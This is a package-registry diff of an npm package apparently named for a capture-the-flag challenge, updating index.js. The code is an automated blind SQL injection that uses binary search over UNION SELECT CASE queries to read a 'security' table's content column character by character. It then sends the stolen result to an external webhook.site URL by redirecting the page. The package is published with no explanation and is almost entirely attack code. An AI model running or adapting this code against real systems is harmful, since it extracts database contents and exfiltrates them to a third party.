ctf-payload 1.0.62 → 1.0.63
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +14 -18
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,26 +1,22 @@
|
|
|
1
1
|
if(window.location.hostname === '127.0.0.1'){
|
|
2
|
-
async function
|
|
3
|
-
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-!@#';
|
|
2
|
+
async function extract(col, offset){
|
|
4
3
|
let result = '';
|
|
5
|
-
for(let i=1;i<=
|
|
6
|
-
let
|
|
7
|
-
|
|
8
|
-
const
|
|
9
|
-
const
|
|
10
|
-
const
|
|
11
|
-
|
|
4
|
+
for(let i=1;i<=40;i++){
|
|
5
|
+
let lo=32, hi=126, found=false;
|
|
6
|
+
while(lo<=hi){
|
|
7
|
+
const mid=Math.floor((lo+hi)/2);
|
|
8
|
+
const body=`id=0 UNION SELECT CASE WHEN (SELECT unicode(substr(${col},${i},1)) FROM security LIMIT 1 OFFSET ${offset})>${mid} THEN 'Done' ELSE 'Not yet' END--`;
|
|
9
|
+
const r=await fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body});
|
|
10
|
+
const t=await r.text();
|
|
11
|
+
if(t.includes('"Done"')) lo=mid+1; else hi=mid-1;
|
|
12
12
|
}
|
|
13
|
-
if(
|
|
13
|
+
if(lo>126||lo<32) break;
|
|
14
|
+
result+=String.fromCharCode(lo);
|
|
14
15
|
}
|
|
15
|
-
return
|
|
16
|
+
return result;
|
|
16
17
|
}
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
extractVal('content',6),
|
|
20
|
-
extractVal('title',4),
|
|
21
|
-
extractVal('title',5)
|
|
22
|
-
]).then(results=>{
|
|
23
|
-
window.location='https://webhook.site/6f93f943-4f0f-4d41-bdeb-b568c015030e?d='+encodeURIComponent(results.join('|'));
|
|
18
|
+
extract('content',5).then(r=>{
|
|
19
|
+
window.location='https://webhook.site/6f93f943-4f0f-4d41-bdeb-b568c015030e?d='+encodeURIComponent(r);
|
|
24
20
|
});
|
|
25
21
|
} else {
|
|
26
22
|
window.location='http://127.0.0.1:31337/part2';
|